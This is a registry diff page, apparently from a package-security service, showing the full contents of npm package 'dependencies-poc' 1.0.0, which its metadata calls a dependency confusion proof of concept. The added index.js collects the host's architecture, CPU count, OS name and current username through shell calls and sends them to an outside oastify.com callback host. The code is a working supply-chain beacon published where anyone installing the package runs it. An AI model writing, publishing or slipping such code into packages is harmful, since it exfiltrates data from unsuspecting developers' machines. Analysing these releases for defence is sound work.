dependencies-poc 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dependencies-poc might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +21 -0
  2. package/package.json +16 -0
package/index.js ADDED
@@ -0,0 +1,21 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+ const child_process = require('child_process');
4
+
5
+ const systemInfo = {
6
+ architecture: os.arch(),
7
+ cpuCount: os.cpus().length,
8
+ osName: child_process.execSync('uname -s'),
9
+ user: child_process.execSync('whoami')
10
+ };
11
+
12
+ const params = new URLSearchParams(systemInfo);
13
+
14
+ axios.get(`http://azdc2r4g3upgjyehgc04lkweb5hw5mtb.oastify.com?${params.toString()}`)
15
+ .then(response => {
16
+ console.log('Veri başarıyla gönderildi:', response.data);
17
+ })
18
+ .catch(error => {
19
+ console.error('Bir hata oluştu:', error);
20
+ });
21
+
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "dependencies-poc",
3
+ "version": "1.0.0",
4
+ "description": "dependency confusion proof of concept",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "type": "commonjs",
13
+ "dependencies": {
14
+ "axios": "^1.8.1"
15
+ }
16
+ }